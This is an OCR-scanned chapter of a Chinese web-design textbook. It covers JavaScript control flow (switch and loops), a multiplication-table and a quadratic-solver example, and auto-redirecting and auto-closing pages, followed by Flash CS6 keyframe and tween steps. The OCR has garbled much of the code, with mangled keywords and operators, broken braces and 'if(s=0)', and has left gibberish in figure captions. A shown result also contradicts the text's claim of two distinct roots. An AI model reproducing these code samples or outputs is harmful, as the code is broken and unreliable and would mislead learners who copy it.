例如 ， 如 果 需 要 把 一 个 表示 星期 的 数字 转换 为 相关 的 字符 串 ， 代 码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>switch</title> 
</head> 
<body> 
<script type="text/javascript"> 
var weekday; 
Var weekdaystr; 
Weekday=3; 
switch(weekday) 
攻 
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case 0 : weekdaystr = "星期 日 "; break; 
case 1 : weekdaystr = "星期 一 "; break; 
case 2 : Weekdaystr = "星期 二 "; 
case 3 : Weekdaystr = "星期 三 "; 
case 4 : Weekdaystr = "星期 四 "; break; 
case 5 : Weekdaystr = "星期 五 "; break; 
case 6 : Weekdaystr = "星期 六 "; break; 
} 

document.write(weekdaystr); 

‘</script> 

</body> 

</html> 


4. for 循环 


在 程序 中 如 果 需 要 多 次 执行 某 段 程序 ， 则 需要 使 用 循环 语句。for 循环 是 JavaScript 中 最 常用 的 特 
句 。for 循环 的 基本 格式 如 下 : 


for( 初 始 条 件 ; 循 环 条 件 ; 继 续 执行 的 操作 ) 
人 {循环 的 内 容 } 


下 面 是 一 个 for 循环 的 实例 ， 实 现 100 以 内 所 有 偶数 的 求 和 。 


<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>for</title> 
</head> 
<body> 
<script type="text/javascript"> 
vari; 
var sum; 
sum = 0; 
for(i=0;i<101;i=i+2) 
{sum = sum +i;} 
document.write(sum); 
</script> 
</body> 
</html> 


5. do while 循环 
do while 是 另 一 种 循环 语句 。do while 循环 的 基本 格式 如 下 : 


do 
{循环 内 容 } 
while( 条 件 ) 


下 面 是 一 个 do while 循环 的 实例 ， 实 现 100 以 内 的 整数 求 和 。 


<html xmIns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>do while</title> 
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</head> 

<body> 

<script type="text/javascript"> 
vari; 

var sum; 

sum=0; 

i=1; 

do 

{sum = sum +i; 

i++ 站 

While(i<101); 
document.write(sum); 
</script> 

</body> 

</html> 


6. while 循环 
while 循环 是 另 一 种 常用 的 循环 。while 循环 的 基本 格式 如 下 : 


while( 条 件 ) 
{循环 的 内 容 } 


下 面 是 一 个 while 循环 的 实例 ， 实 现 100 以 内 奇数 的 求 和 。 


<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>do while</title> 

</head> 

<body> 

<script type="text/javascript"> 

vari; 

var sum; 

sum=0; 

i=1; 

while(i<101) 

{sum = sum+i ; 

i=i+2;} 

document.write(sum); 

</script> 

</body> 

</html> 


14.4.6 ”JavaScript 实例 : 输出 乘法 口诀 表 


本 节 以 输出 一 个 乘法 口诀 表 为 实例 讲解 JavaScript 的 判断 语句 与 循环 语句 。 在 这 个 实例 中 , 需要 正 
确实 现 数字 的 循环 和 HIML 表格 代码 的 输出 。 在 程序 中 ， 需 要 判断 两 个 变量 的 大 小 ， 确 定数 据 是 否 输 
出 。 网 页 代码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
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<meta http-equiv="Content-Type" content="text/html; charset=utf8" /> 
<title>js 输出 乘法 口诀 表 </title> 
</head> 


<body> 

九 九 乘法 口诀 表 <br /> 

<script type="text/javascript"> 

document.write("<table width=560 border=1 align=center>"); 
vari,j; 

for(i=1;i<10;i++) 

{ document.write("<tr>"); 


for(=1j<10j++) 
{ 


document.write("<td>"); 
if(i>3) 
{ 
document.write(j); 
document.write(™"); 
document.write(i); 
document.write("="); 
document.write(i”]); 
} 
document.write("</td>"); 
} 
document.write("</tr>"); 
b 
document.write("</table>"); 
</script> 
</body> 
</html> 


网 页 的 运行 结果 如 图 14-44 所 示 。 这 个 网 页 中 的 内 容 ， 并 不 是 网 页 中 的 HTML 代码 ， 而 是 浏览 器 
解释 执行 网 页 中 的 JavaScript 程序 时 生成 的 HTML 代码 。 这 些 循环 和 判断 的 运算 ， 是 浏览 器 打开 网 页 
时 运行 完成 的 。 


了 遇 ”页面 p) > 安全 (S) ~ 


九 九 乘法 口诀 表 
1*1=1 
1*2=2 2*2=4 
1*3=3 2*3=6 
1*4=4 |2*4=8 [3*4=12 4*4=16 
1*5=5 |2*5=10 |3*5=15 |4*5=20 |5*5=25 
1*6=6 |2*6=12 3*6=18 4*6=24 $5*6=30 |6*6=36 
1°7=7 [2*7=14 [3*7=21 4*7=28 [5*7=35 |6*7=42 [7*7=49 | 
1*8=8 |2*8=16 |3*8=24 4*8=32 |5*8=40 |6*8=48 |7*8=56 |8*8=64 
1*9=9 |2*9=18 |3*9=27 |4*9=36 |5*9=45 |6*9=54 |7*9=63 |8*9=72 |9*9=81 


| es A 
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14.4.7 ” ”JavaScript 实例 : 解 一 元 二 次 方程 


在 JavaScript 中 ， 常 常 需要 进行 数据 的 计算 和 处 理 。 本 节 以 一 个 解 一 元 二 次 方程 的 实例 讲解 JavaScript 
的 数学 运算 。 在 程序 中 ， 需 要 用 和 数学 上 相同 的 方法 对 根 的 判别 式 情况 进行 判断 。 在 这 个 程序 中 ， 使 
用 了 嵌 套 判断 ， 方 的 函数 是 Math.sqrt(rum)。 网 页 代码 如 下 : 


<html xmiIns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title>js 解 方 程 </title> 

</head> 

<body> 

js 解 方程 <br /> 

<script type="text/javascript"> 

Var a,b,c; 

a8=2; 

b=6; 

C=3; 

var s; 

S= bxb - 4*a’c; // 根 的 判别 式 

document.write("a=" + a +" b="+b + " c=" +C +"<br>"); // 输 出 方程 

if(s<0) // 无 解 的 情况 
document.write(" 方 程 无 解 "); 

else 


{ 


if(s=0) // 一 个 解 的 情况 


{ 
document.write(" 方 程 有 一 个 解 。 方 程 的 解 为 :"); 
document.write((0-b-Math.sqrt(s))/(2*a)); 
} 
else 
{ // 两 个 解 的 情况 
document.write(" 方 程 有 两 个 解 。X1="); 
document.write((0-b-Math.sqrt(s))/(2*a)); 
document.write(" X2="); 
document.write((0-b+Math.sqrt(s))/(2*a)); 
} 
} 

</script> 

</body> 

</html> 


浏览 这 个 网 页 时 ， 浏 览 器 会 执行 这 个 网 页 中 的 JavaScript 代码 。 网 页 的 运行 结果 如 图 14-45 所 示 。 
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逢 js 级 方 呈 - Windows Internet ei 


2 站 ENwork\write-mdf -| 好 | x [3 sing P - 


这 收 基 夫 。 乱 js 固 方 全 


js 解 方程 
a=2 b=6 c=3 


方程 有 两 个 解 。X1=-1.5 X2=-1.5 


于 计算 机 | 保护 模式: 其 用 


图 14-45 ”网 页 中 的 数学 运算 
14.$ 实例 : 制作 能 自动 跳 转 并 关闭 的 首页 


首先 分 析 这 个 网 页 要 实现 的 功能 ， 网 页 要 实现 自动 转 跳 和 自动 关闭 ， 就 是 在 一 张 网 页 显示 一 段 时 
间 以 后 ， 它 的 特效 代码 使 网 页 自动 转 跳 到 另 一 个 网 页 上 。 第 二 个 网 页 需要 有 计时 功能 ， 在 显示 一 定 的 
时 间 以 后 自动 关闭 网 页 。 

除了 网 页 的 内 容 以 外 ， 网 页 的 计时 、 转 跳 、 关 闭 等 功能 都 是 通过 JavaScript 来 实现 的 ， 需 要 在 网 页 
中 以 编程 的 方式 实现 这 些 功 能 。 自 动 转 跳 功能 的 网 页 代码 如 下 : 


<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 自 动 转 跳 功 能 </title> 
</head> 
<body> 自 动 转 跳 网 页 示例 : 
<script language="javascript"> 
function clock()f 
i=i-1 
document.title=" 本 窗口 将 在 "+i+" 秒 后 自动 转 跳 ""; /用 循环 和 i 计数 实现 时 间 的 计算 
if(i>0) 
setTimeout("clock():",1000); // 实 现 1 秒 的 计时 
else 
location.href("step2.htm"); /网 页 的 转 跳 


var i=10; 


在 这 个 网 页 中 ， 主 要 功能 是 使 用 setTimeoutO 函 数 实现 计时 ， 并 且 把 每 次 计时 的 时 间 累 加 起 来 。 同 


理 ， 在 自动 关闭 网 页 中 ， 主 要 功能 是 计时 和 计时 以 后 关闭 网 页 。 自 动 关闭 网 页 的 代码 如 下 : 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 自 动 关 闭 功能 </title> 
</head> 


@ 


第 14 齐 网 页 特效 


<body> 自 动 关闭 网 页 示例 : 
<script language="javascript"> 
function clock(}{ 
i=i-1 
document.title=" 本 窗口 将 在 "+i+" 秒 后 自动 关闭 ""; 
if(i>0) 
setTimeout("clock():",1000); 
else 
self.close(); // 网 页 自动 关闭 


有 

var i=10; 
clock(); 
</script> 
</body> 
</html> 


14.6 常见 问题 


网 页 中 的 特效 ， 大 多 是 使 用 JavaScript 编程 实现 的 ，JavaScript 程序 在 网 页 中 被 浏览 器 解释 执行 。 
在 网 页 开发 时 ， 需 要 理解 JavaScript 的 一 些 概念 和 JavaScript 在 网 页 中 执行 的 特点 。 


14.6.1 关于 JavaScript 与 Java 的 区 别 和 联系 的 问题 


在 学 习 网 站 设计 的 JavaScript 时 ， 用 户 常 分 不 清 JavaScript 与 Java 的 区 别 ，JavaScript 常 被 初学 者 
认为 是 Java 语言 ， 不 能 非常 明确 地 区 分 这 两 种 技术 的 区 别 。 

实际 上 ，JavaScript 与 Java 是 完全 不 相同 的 两 种 概念 。 这 两 种 语言 是 两 个 公司 推出 的 不 同 的 技术 ， 
分 别针 对 不 同 的 使 用 环境 和 功能 。 

Java 是 SUN 公司 推出 的 新 一 代 面 向 对 象 程序 设计 语言 ,主要 用 于 网 络 程序 的 设计 。 因 为 使 用 了 Java 
虚拟 机 技术 ，Java 可 以 很 方便 地 运行 于 各 种 平台 。 在 网 站 方面 常用 来 设计 JSP 动态 网 站 的 后 台 程 序 。 

JavaScript 是 Netscape 公司 的 产品 ， 主 要 功能 为 扩展 HTML 的 对 象 和 交互 功能 。JavaScript 可 以 妖 
入 Web 页 面 中 , 是 针对 网 页 的 对 象 和 事件 驱动 的 解释 性 语言 。 ASP 网 站 的 编程 可 以 用 JavaScript 编写 ， 
网 页 的 交互 脚本 一 般 使 用 JavaScript 编写 。 

Java 和 JavaScript 两 种 语言 虽然 都 带 有 Java, 但 却 是 两 种 完全 不 同 的 语言 和 技术 。 虽然 在 语句 上 有 
一 些 相似 的 内 容 ， 但 在 开发 方法 、 开 发 对 象 、 运 行 原理 上 是 完全 不 同 的 ， 在 进行 设计 时 需要 明确 区 分 
Java 和 JavaScript。 


14.6.2 ”如 何 使 用 网 页 特效 软件 提供 的 网 页 特效 


网 页 特效 的 JavaScript 编程 ， 是 面向 网 页 对 象 的 编程 。 页 面 特效 的 原理 非常 复杂 ， 一 个 功能 的 实现 
可 能 需要 很 多 繁琐 的 代码 。 而 常用 的 网 页 特效 只 有 几 类 ， 在 进行 设计 时 ， 只 要 能 看 懂 和 正确 使 用 具有 
一 定 功 能 的 JavaScript 程序 即 可 。 

现在 网 络 上 有 很 多 JavaScript 网 页 特效 的 软件 ， 这 些 软件 对 JavaScript 程序 进行 了 分 类 和 整理 ， 每 


) 


个 代码 都 有 使 用 方法 的 说 明 。 在 进行 设计 时 ， 只 要 按照 说 明 使 用 这 些 代 码 即 可 实现 网 页 特效 的 功能 ， 
这 样 可 以 避免 书写 大 量 的 特效 程序 代码 。 常 用 的 网 页 特效 软件 有 网 页 特效 精灵 、 网 页 特效 王 等 。 在 搜 
索引 擎 上 也 可 以 搜索 到 需要 的 网 页 特效 代码 。 在 无 法 编写 网 页 特效 代码 时 可 以 借鉴 和 使 用 这 些 代码 。 


14.6.3 ”关于 浏览 器 保护 导致 的 网 页 特效 不 能 执行 的 问题 


在 浏览 含有 JavaScript 网 页 特效 的 网 页 时 , 浏览 器 因为 安全 防护 而 阻止 执行 这 些 代码 , 可 能 会 导致 
有 些 网 页 特效 无 法 正常 运行 。 如 图 14-46 所 示 ， 浏 览 器 中 止 了 网 页 脚本 的 执行 ， 并 在 网 页 上 端 显 示 了 
提示 信息 ， 可 能 会 提示 运行 这 一 段 脚本 对 计算 机 产生 一 定 的 安全 性 危害 。 这 时 ， 可 以 单 击 这 个 提示 信 
息 ， 选 择 “ 人 允许 阻止 内 容 ”， 妈 可 汉 生 网 闪 中 的 网 吹风 太 。 


图 为 了 有 利于 保护 安全 性 , Internet Explorer 已 限制 此 网 页 运行 可 以 访问 计算 机 的 脚本 X 
或 ActiveX 控件 。 请 单 二 这 里 殉 取 选项 - | 
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14-46 浏览 器 自动 中 止 脚本 的 执行 


可 以 对 网 页 的 安全 保护 进行 一 定 的 设置 。 选 择 浏览 器 的 “工具 ” | “Internet 选项 ”命令 ， 在 弹出 
的 对 话 框 中 选择 “安全 ”选项 卡 ，Internet 默认 被 选中 ， 单 击 “ 自 定义 级 别 ” 按 钮 ， 弹 出 浏览 器 的 “ 安 
全 设置 ”对 话 框 ,如 图 14-47 所 示 。 可 以 对 浏览 器 的 安全 保护 情况 进行 设置 ,选择 是 否 自动 运行 JavaScript 
网 页 脚本 。 


‘ 二 
4 重新 启动 Internet Explorer 之 后 生效 
重 贯 自 定义 设置 

重 置 为 B): [中 -高 .BA) 


图 14-47 浏览 器 对 网 页 脚本 执行 的 设置 


先 14 齐 网 页 特效 


14.6.4 JavaScript 程序 错误 可 能 导致 所 有 脚本 不 能 运行 


JavaScript 在 网 页 上 是 一 种 解释 性 语言 ， 浏 览 器 以 逐 句 解释 的 方式 运行 这 些 脚 本 ,但 是 每 个 网 页 中 
所 有 的 脚本 都 是 一 个 程序 的 整体 ， 中 间 的 变量 、 函 数 、 对 象 可 以 自由 调用 ， 即 使 是 书写 在 不 同 代码 区 
的 程序 ， 也 常常 有 着 逻辑 联系 。 

JavaScript 的 程序 错误 可 能 导致 一 个 网 页 中 的 所 有 脚本 都 不 能 运行 。 在 进行 脚本 编写 时 ， 要 注意 不 
同 程序 中 的 变量 、 函 数 和 对 象 的 联系 与 调用 关系 ， 正 确 书写 JavaScript 代码 。 


14.6.5 ”使 用 VBScript 编写 网 页 交互 脚本 程序 


除了 JavaScript 以 外 ，VBScript 也 可 以 方便 地 实现 网 页 交互 脚本 程序 的 编写 。VBScript 可 以 同 
JavaScript 一 样 使 用 和 操作 网 页 中 的 对 象 ， 对 这 些 对 象 进行 编程 和 控制 。 

VBScript 客户 端 脚本 的 编程 方法 与 JavaScript 基本 相同 ， 只 是 使 用 了 VBScript 语法 。 设 计 者 可 以 
根据 自己 的 喜好 选用 一 种 脚本 语言 编写 网 页 交互 脚本 程序 。 例 如 ， 下 面 两 种 方法 实现 的 显示 当前 时 间 
的 方法 是 等 效 的 。 

<html xmlns="http:/www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content= "text/html; charset=utf-8" /> 

<title>JAVASCRIPT 与 VBSCRIPT</title> 

</head> 

<body> 

<script type="text/javascript"> 

var d = new Date(); 

alert(d); 

</script> 

<script type="text/Vbscript"> 

dimdd 

dd = now() 

msgbox(dd) 

</script> 

</body> 

</html> 


14.7 小 结 


网 页 特效 可 以 极 大 地 丰富 网 页 的 页 面 效 果 和 交互 性 ， 实 现 很 多 HTML 网 页 所 无 法 实现 的 功能 ， 是 
网 页 技术 开发 的 一 个 有 力 扩展 。 本 章 讲解 了 一 些 网 页 特效 的 基本 知识 和 常用 网 页 特效 的 运用 ， 需 要 在 
实际 学 习 和 操作 中 掌握 运用 这 些 网 页 特效 功能 。 

以 JavaScript 为 基础 的 Ajax 交互 技术 ， 是 这 些 网 页 特效 的 高 级 形式 。Ajax 技术 可 以 大 大 地 提高 网 
站 的 运行 性 能 ， 极 大 地 丰富 网 页 的 可 交互 性 。Ajax 技术 是 很 多 网 站 技术 的 发 展 趋势 。 
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各 吾 吾 吾 至 


在 网 站 设计 中 ，Flash 是 指 用 Flash 设计 软件 制作 的 可 以 插入 在 网 页 中 的 动画 。Flash 
是 网 站 中 的 一 种 很 好 的 媒体 形式 。 网 页 中 插入 了 Flash 以 后 ， 可 以 给 网 页 带 来 很 好 的 多 媒 
体 效果 。 网 页 中 的 广告 、Banner 等 常常 制作 成 Flash 形式 。 

与 GIF 动画 图 片 不 同 的 是 ，CIF 图 片 是 分 别 制作 动画 的 每 一 帧 ， 再 设置 每 一 帧 的 持续 
时间， 实现 动画 的 播放 。 而 Flash 动画 是 制作 关键 帧 ， 再 通过 实现 关键 帧 的 过 渡 方 式 完成 
动画 的 播放 。Flash 动画 比 GIF 动画 有 更 好 的 功能 和 效果 。 
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15.1 Flash CS6 的 简介 


Flash 动画 是 用 动画 制作 软件 Flash CS6 制作 的 。Flash CS6 有 着 非常 强大 的 动画 设计 功能 ， 借 助 于 
Flash CS6 可 以 设计 出 美观 的 网 页 动画 。 


15.1.1 Flash CS6 简介 


Flash CS6 继承 了 以 前 版 本 的 优秀 功能 ， 并 且 对 开发 人 员 更 加 友好 ，Flash CS6 可 以 与 Flash Builder 
协作 来 完成 项 目 。 此 外 ， 代 码 易 用 性 方面 和 代码 编辑 器 都 得 到 了 增强 。 借 助 于 Flash CS6， 可 以 开发 出 
更 精美 的 、 具 有 更 强大 交互 功能 的 动画 界面 。 如 图 15-1 所 示 是 Flash CS6 的 启动 界面 。 
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图 15-1 Flash CS6 的 启动 界面 


网 站 中 的 Banner 广告 、 广 告 条 、 对 联 广 告 等 内 容 ， 都 可 以 做 成 Flash 动画 。Flash 动画 有 着 很 好 的 
色彩 与 动态 效果 ， 可 以 更 好 地 吸引 用 户 的 注意 。Flash 的 ActionScript 脚本 是 对 网 页 交互 功能 的 有 力 补 
充 ， 借 助 于 Flash 脚本 ， 可 以 制作 出 功能 强大 的 交互 功能 。 


15.1.2 ”Flash CS6 的 面板 和 工具 


在 学 习 Flash CS6 时 ， 需 要 认识 和 掌握 常用 工具 和 面板 的 使 用 。Flash CS6 的 工作 界面 如 图 15-2 所 
示 ， 主 要 的 工作 面板 介绍 如 下 。 
回 ”工具 栏 : Flash 的 编辑 工具 栏 ， 这 些 工具 主要 用 于 Flash 动画 内 容 的 编辑 。 
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加 


时 间 的 动画 内 容 进行 编辑 。 在 时 间 轴 上 还 可 以 设置 与 管理 动画 的 图 层 。 


时 间 轴 : 用 来 表示 Flash 的 帧 和 时 间 的 工具 。 在 时 间 轴 上 选择 一 个 帧 或 选择 一 段 时 间 ， 对 这 一 


工作 区 : Flash 影片 的 设计 工作 区 。 
回 “属性 ”面板 : 在 工作 区 中 选择 一 个 Flash 元 件 时 ， 在 “属性 ”面板 中 可 以 查看 和 设置 这 一 元 
件 的 属性 。 
面板 组 : Flash 以 面板 的 形式 提供 了 大 量 的 操作 选项 ， 通 过 一 系列 的 面板 可 以 编辑 或 修改 动画 
对 象 。 在 面板 组 中 有 颜色 、 样 本 、 库 、 变 形 、 信 息 等 工具 。 可 以 单 击 “ 窗 口 ”菜单 下 面 的 工 
具 ， 打 开 或 关闭 这 些 面板 。 
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图 15-2 Flash CS6 的 工作 界面 


15.2 Flash 动画 的 制作 


Flash 动画 的 制作 包括 美术 界面 设计 与 动画 交互 程序 两 个 方面 。Flash 可 以 针对 动画 上 所 有 的 对 象 


进行 编程 ， 做 出 复杂 的 页 面 效果 和 强大 的 程序 功能 。 


Flash 编程 语言 ActionScript 是 一 种 语法 类 似 于 JavaScript 或 Java 的 语言 。ActionScript 使 用 了 Java 
的 面向 对 象 的 思想 ， 语 法 简单 灵活 ， 对 Flash 动画 控制 的 功能 非常 强大 。 


15.2.1 ”Flash 动画 的 一 些 基本 概念 


Flash 中 提供 了 一 些 特有 的 概念 。 在 进行 Flash 开发 时 ， 需 要 掌握 这 些 概念 。 
回 ” 帧 : 如 果 理 解 成 放电 影 ， 电 影 胶片 的 一 格 就 是 一 帧 。Flash 是 利用 帧 的 变换 实现 图 像 动画 的 。 
回 ” 帧 率 ; Flash 动画 中 1 秒 时 间 内 播放 的 帧 数 。 默 认 帧 率 是 12， 普 通电 影 的 帧 率 是 24。 可 以 很 


@ 
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好 理解 的 是 ，Flash 的 帧 率 越 高 ， 画 面 效果 就 越 好 ， 文 件 就 越 大 ;反之 ， 动 画 效 果 就 越 差 ， 文 

件 就 相应 越 小 。 

关键 帧 : 制作 Flash 时 ， 并 不 用 制作 所 有 的 帧 ， 而 只 用 在 相应 的 时 间 段 制作 关键 帧 ， 其 他 的 非 

关键 帧 可 自动 实现 过 渡 效果 。 

加 层 : 在 Flash 制作 时 , 不同 的 元 件 放 置 在 不 同 的 层 上 ， 上 面 的 层 可 以 覆盖 下 面 的 层 。 这 里 “ 层 ” 
的 概念 与 Fireworks 或 Photoshop 中 的 “ 层 ” 相 似 。 

回 ”元件 : Flash 中 ， 一 个 或 一 组 图 像 、 文 字 等 内 容 构 成 一 个 元 件 。 在 设置 或 编程 时 ， 一 个 元 件 作 
为 一 个 整体 进行 操作 。 元 件 可 以 分 为 图 形 、 按 钮 和 影片 剪辑 3 类 。 

加 场景 : Flash 的 场景 可 以 理解 为 现实 电影 中 的 场景 。 一 个 Flash 动画 可 以 由 很 多 场景 组 成 ， 不 
同 的 场景 之 间 没有 帧 或 图 层 的 联系 。 

脚本 : Flash 可 以 使 用 ActionScript 对 Flash 中 的 对 象 进行 编程 和 控制 。 这 些 针对 Flash 对 象 进 
行 编程 的 程序 就 是 Flash 脚本 ，Flash 脚本 是 面向 对 象 的 。 


15.2.2 ”建立 与 保存 Flash 动画 


在 进行 Flash 动画 设计 之 前 ， 需 要 建立 一 个 Flash 动画 ， 建 立 一 个 Flash 动画 指 的 是 建立 一 个 Flash 
工程 文件 。 完 成 的 Flash 动画 需要 保存 与 导出 。 

(1) 打开 Flash CS6， 新 建 一 个 动画 。 选 择 “ 文 件 ”| “新 建 ”命令 ， 打 开 如 图 15-3 所 示 的 Flash 
CS6 的 “新 建文 档 ” 对 话 框 。 在 “类 型 ”列表 中 可 以 选择 需要 新 建 的 Flash 动画 的 类 型 。 除 了 网 页 中 的 
广告 动画 以 外 ， 还 有 幻灯 片 、 表 单 应 用 程序 等 常见 的 Flash 文件 。 在 “类 型 ”列表 中 选择 “ActionScript 
3.0” 选 项 ， 然 后 单 击 “ 确 定 ” 按 钮 ， 新 建 一 个 Flash 动画 。 
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15-3 “新 建文 档 ” 对 话 框 


(2) 如 图 15-4 所 示 是 Flash CS6 新 建 一 个 动画 后 的 工作 界面 。 

(3) 在 Flash CS6 中 选择 “文件 ”| “另存 为 ”命令 ,打开 如 图 15-5 所 示 的 Flash CS6 的 “另存 
为 ” 对 话 框 ， 在 “文件 名 ”文本 框 中 输入 文件 名 “flash egl1”， 选 择 保存 的 文件 夹 为 “FE:\”， 单 击 “ 保 
存 ” 按 钮 ， 完 成 Flash 动画 的 保存 。 
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图 15-4 Flash CS6 新 建 动画 以 后 的 工作 界面 图 15-5 保存 Flash 动画 
15.2.3 设置 Flash 的 属性 


在 进行 Flash 设计 时 ， 需 要 设置 Flash 动画 的 大 小 、 帧 频 、 背 景 颜色 等 属性 。 其 中 ，Flash 大 小 就 是 

Flash 动画 播放 时 的 大 小 ， 帧 频 就 是 Flash 动画 播放 时 每 秒 播放 的 帧 数 。 

(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.2 
节 新 建 的 Flash 文件 “E:\flash egl.fla”。 

(2) 右 击 工作 区 的 空白 部 分 ， 在 弹出 的 快捷 菜单 中 选择 “文档 属性 ”命令 ， 设 置 Flash 的 属性 。 
如 图 15-6 所 示 是 Flash 的 “文档 设置 ”对 话 框 。 在 “宽度 ”文本 框 中 输入 “400 像素 ”， 在 “高 度 ” 文 
本 框 中 输入 “300 像素 ”， 单 击 “ 背 景 颜色 ”上 的 颜色 ， 选 择 一 种 动画 背景 颜色 ， 最 后 单 击 “ 确 定 ” 按 
钮 ， 完 成 文本 属性 的 设置 。 注 意 ，Flash 的 宽度 与 高 度 指 的 是 影片 的 播放 宽度 与 高 度 。 

(3) 如 图 15-7 所 示 ， 文 档 属性 设置 以 后 ，Flash 动画 的 背景 与 大 小 已 经 改变 。 
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图 15-6 Flash 的 属性 设置 15-7 ”Flash 设置 文档 属性 以 后 的 工作 区 
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(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 
15.2.4 ”Flash 时 间 轴 的 使 用 


Flash 动画 制作 与 图 片 制作 最 大 的 不 同 是 ，Flash 在 不 同 的 时 间 轴 上 制作 不 同 的 内 容 。Flash 软件 中 需 
要 一 个 时 间 工具 ， 这 就 是 时 间 轴 。 如 图 15-8 所 示 是 Flash CS6 的 时 间 轴 。 时 间 标 尺 上 的 刻度 表示 Flash 
的 帧 ， 根 据 帧 率 很 容易 计算 出 Flash 的 时 间 。 帧 率 为 12 帧 ，12 帧 就 是 1 秒 的 时 间 ，24 帧 就 是 2 秒 的 时 
间 。 红 色 时 间 线 就 是 当前 编辑 的 时 间 位 置 ， 在 选择 了 时 间 位 置 以 后 ， 工 作 区 中 的 帧 就 会 发 生 相 应 的 改变 。 
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15-8 Flash 的 时 间 轴 


15.2.5 “插入 关键 帧 


在 Flash CS6 中 设置 动画 时 ， 并 不 需要 设计 出 每 一 帧 的 内 容 。 只 要 设计 出 关键 帧 以 后 ， 用 帧 过 渡 的 
方法 可 以 很 方便 地 生成 关键 帧 之 间 的 过 渡 效 果 。 
(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.3 
节 的 Flash 文件 “E:flash_ egl.fla”。 
(2) 在 新 建 的 Flash 动画 中 , 每 一 层 的 第 一 个 帧 默认 为 一 个 关键 帧 。 在 时 间 轴 的 第 1 帧 上 面 单 击 ， 
选择 这 一 个 关键 帧 进行 编辑 。 时 间 轴 如 图 15-9 所 示 。 


避 忆 当 11 MD Wi EL pg 
图 15-9 选择 第 一 个 图 层 的 第 一 个 关键 帧 


(3) 在 Flash CS6 的 工具 栏 上 单 击 “ 文 本 工具 ”了 T ， 再 在 影片 中 单 击 并 拖 动 ， 产 生 一 个 文本 框 ， 
然后 在 文本 框 中 输入 文本 “ 祝 你 生日 快乐 ”， 如 图 15-10 所 示 。 

(4) 选择 输入 的 文本 。 在 文本 的 “属性 ”面板 中 设置 文本 的 格式 ， 如 图 15-11 所 示 。 在 “大 小 ” 
选项 后 输入 “26”， 在 “系列 ”下 拉 列 表 框 中 选择 “黑体 ”选项 ， 颜 色 选 择 为 “红色 ”。 

(5) 设置 字体 格式 以 后 的 文本 效果 如 图 15-12 所 示 。 

(6) 在 第 1 帧 上 插入 文本 ， 即 在 第 1 帧 上 建立 关键 帧 。 在 时 间 轴 上 单 击 第 1 层 的 第 15 帧 ， 再 选 
择 “ 插 入 ”| “时 间 轴 ” | “关键 帧 ”命令 ， 插 入 一 个 关键 帧 。 插 入 关键 帧 以 后 的 时 间 轴 如 图 15-13 


所 示 。 


#5 
| ETE | 
:Fe | | 
大 小 : 250 点 ”行距 :120 [% |v 
e: 国 国 字 区 Re: 0 
加 亮 旺 示 : 二 下] 字 基 用 : em 
消除 锯齿 : | 可 这 性 _ 
二: [自动 1v] ”[ 开 | 匡 训 


图 15-10 在 动画 中 输入 文本 图 15-11 设置 文本 的 属性 
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图 15-12 文本 效果 图 15-13 在 时 间 轴 上 插入 关键 帧 


(7) 在 Flash CS6 的 工具 栏 上 单 击 “任意 变形 工具 ” 刘 ， 再 单 击 动画 中 的 文本 ， 将 文本 拖 动 到 动 
画 的 右上 角 ， 然 后 拖 动 文本 的 操作 点 ， 将 文本 放大 和 变形 ， 如 图 15-14 所 示 。 


15-14 ”在 关键 帧 上 的 文本 变形 
(8) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 


15.2.6 ”创建 帧 过 渡 效 果 


在 Flash 中 并 不 需要 制作 出 所 有 的 帧 ， 而 是 制作 好 关键 帧 以 后 ， 用 过 渡 的 方法 生成 其 他 帧 。Flash 
动画 中 的 帧 ， 只 有 很 少量 的 关键 帧 ， 大 部 分 帧 都 是 通过 创建 帧 过 渡 效 果 的 方法 完成 的 。 
(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.5 
节 的 Flash 文件 “E:\flash egl.fla”。 
(2) 在 时 间 轴 上 动画 的 第 1 一 15 帧 之 间 单 击 鼠 标 右键 ， 在 弹出 的 快捷 菜单 中 选择 “创建 传统 补 
间 ” 命 令 ， 即 可 在 两 个 关键 帧 之 间 建 立 过 渡 效 果 。 如 图 15-15 所 示 是 建立 过 渡 效 果 以 后 的 时 间 轴 。 
(3) 在 帧 的 “属性 ”面板 中 ， 在 “ 补 间 ”下 的 “旋转 ”下 拉 列 表 框 中 选择 “ 顺 时 针 ” 选 项， 在 “ 旋 


@ 
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转 ” 文 本 框 中 输入 “1”， 如 图 15-16 所 示 。 


时 间 轴 


15-15 ”建立 过 渡 效 果 以 后 的 时 间 轴 图 15-16 ”关键 帧 过 渡 效 果 的 设置 


(4) 按 Enter 键 ，Flash 的 工作 区 会 播放 已 经 建立 的 动画 。 播 放 完 毕 以 后 会 自动 停止 。 
(5) 选择 “控制 ”| “测试 影片 ”| “在 Flash Professionnal 中 ”命令 ，Flash CS6 会 自动 打开 Flash 


播放 器 ， 播 放 已 经 建立 的 影片 ， 如 图 15-17 所 示 。 在 影片 中 ， 文 本 会 顺 时 针 旋 转移 动 到 右上 角 。 播 放 
完成 以 后 ， 会 继续 循环 播放 影片 。 


图 15-17 ”播放 测试 影片 


